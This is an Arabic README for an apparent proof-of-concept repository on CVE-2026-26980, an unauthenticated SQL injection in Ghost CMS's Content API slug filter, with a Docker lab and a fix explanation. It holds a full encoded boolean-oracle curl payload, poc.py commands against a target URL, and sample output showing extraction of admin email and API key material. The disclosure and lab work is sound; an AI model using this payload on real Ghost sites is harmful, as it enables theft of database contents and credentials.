
إثبات مفهوم بلغة Python ومختبر Docker يوضحان حقن SQL غير المصادق عليه في مرشح slug الخاص بواجهة Content API في TryGhost Ghost CMS، مع استخراج قيم قاعدة البيانات عبر أوراكل منطقي.
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 هو ثغرة حقن SQL غير مصادق عليها في TryGhost Ghost CMS Content API. يمكن الوصول إلى المسار المصاب من خلال منطق معالجة عامل التصفية في Content API العام عندما تتم معالجة ترتيب slug:[...].
يبني هذا الـ PoC بيئة Ghost 6.19.0 مخبرية مُتحكَّم بها ويوضح كيف يمكن تحويل طلب Content API عام إلى بدائية قراءة قاعدة بيانات قائمة على القيم المنطقية (boolean-based).
| المنتج | الإصدار المتأثر | الإصدار المُصلَّح | نوع الثغرة |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | حقن SQL |
تستخدم البيئة المخبرية Ghost 6.19.0.
قم ببناء وتشغيل بيئة Ghost CMS المصابة باستخدام Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
مثال:
http://127.0.0.1:9102/
تشغّل البيئة المخبرية نسخة Ghost 6.19.0 حقيقية مصابة على المنفذ 9102.
مفتاح Content API الخاص بالبيئة المخبرية هو:
EQSTLab299
CVE-2026-26980 : ثغرة حقن SQL في TryGhost Ghost CMS Content API
description: ثغرة حقن SQL في TryGhost Ghost CMS قبل 6.19.1 تسمح لمهاجم غير مصادق عليه لديه إمكانية الوصول إلى مفتاح Content API عام بقراءة قيم قاعدة بيانات عشوائية من خلال معامل عامل التصفية في Content API. تحدث المشكلة في مسار ترتيب عامل التصفية slug:[...]، حيث يتم إدراج قيم slug التي يتحكم بها المستخدم في SQL خام دون ربط المعاملات بشكل صحيح.
عادةً ما يتم تعريض مفاتيح Ghost Content API للمتصفحات بحكم التصميم من خلال القوالب أو البحث أو البوابة أو JavaScript في الواجهة الأمامية. وهذا يعني أن المسار المصاب يمكن الوصول إليه دون مصادقة Ghost Admin.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
مفتاح Content API مخصص اختياري:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
مثال [Target]: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
يوضح الـ PoC العام تأثير قراءة قاعدة البيانات من خلال استخراج بيانات وصفية آمنة للبيئة المخبرية ومواد مفاتيح Ghost API. ولا يطبع علم التحدي (challenge flag).
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
يوجد المنطق المصاب في مسار تسلسل مدخلات Content API في Ghost لعوامل تصفية slug:[...]. يدعم Ghost عوامل تصفية slug بنمط القوائم ويحافظ على ترتيب slug المطلوب من خلال توليد تعبير ORDER BY CASE.
في الإصدارات المصابة، يتم إدراج قيم slug التي يتحكم بها المستخدم في جزء SQL. النمط المصاب المبسّط هو:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
نظرًا لأن slug يتحكم به المهاجم ويتم إدراجه في سلسلة SQL دون ربط المعاملات، يمكن لعامل تصفية Content API مُصمَّم بعناية أن يخرج من المقارنة المقصودة ويحقن منطق SQL إضافي.
يستخدم الـ PoC المخبري وسمين عامين، bacon و chorizo، كأوراكل منطقي قابل للملاحظة.
bacon أولاً.chorizo أولاً.من خلال تكرار هذا الاختبار بشروط SQL مختلفة، يمكن للـ PoC استنتاج قيم قاعدة البيانات حرفًا واحدًا في كل مرة.
فحص الأوراكل المنطقي باستخدام curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
السبب الجذري هو البناء غير الآمن لجزء SQL ORDER BY CASE من قيم slug التي يتحكم بها المستخدم. يحاول الكود المصاب الحفاظ على ترتيب استجابة Content API، لكنه يتعامل مع قيم عامل تصفية NQL المُحلَّلة كنص SQL موثوق.
يجب أن يتضمن الإصلاح القوي ما يلي:
أصلح Ghost هذه المشكلة في 6.19.1 من خلال استبدال الإدراج الخام بربط استعلامات مُعامَلة.
هذه مشكلة CWE-89: التحصين غير السليم للعناصر الخاصة المستخدمة في أمر SQL.
نظرًا لأن Ghost Content API عام عن قصد، يمكن أن تسمح هذه الثغرة لمهاجم غير مصادق عليه بإنشاء بدائية قراءة قاعدة بيانات من خلال نقطة نهاية محتوى عامة. اعتمادًا على محتويات قاعدة البيانات والأذونات، قد يتمكن المهاجم من:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
تشغّل هذه البيئة المخبرية نسخة Ghost 6.19.0 حقيقية مصابة بدلاً من خادم وهمي بسيط.
تقوم البيئة المخبرية بتهيئة:
EQSTLab299bacon، chorizoتم تصميم poc.py العام لمقاطع الفيديو التوضيحية والكتابات العامة. وهو يوضح تأثير حقن SQL دون طباعة علم التحدي.
docker stop cve-2026-26980
هذا المستودع ليس المقصود منه أن يكون استغلالاً لحقن SQL في CVE-2026-26980. الغرض من هذا المشروع هو مساعدة الناس على التعلم عن هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97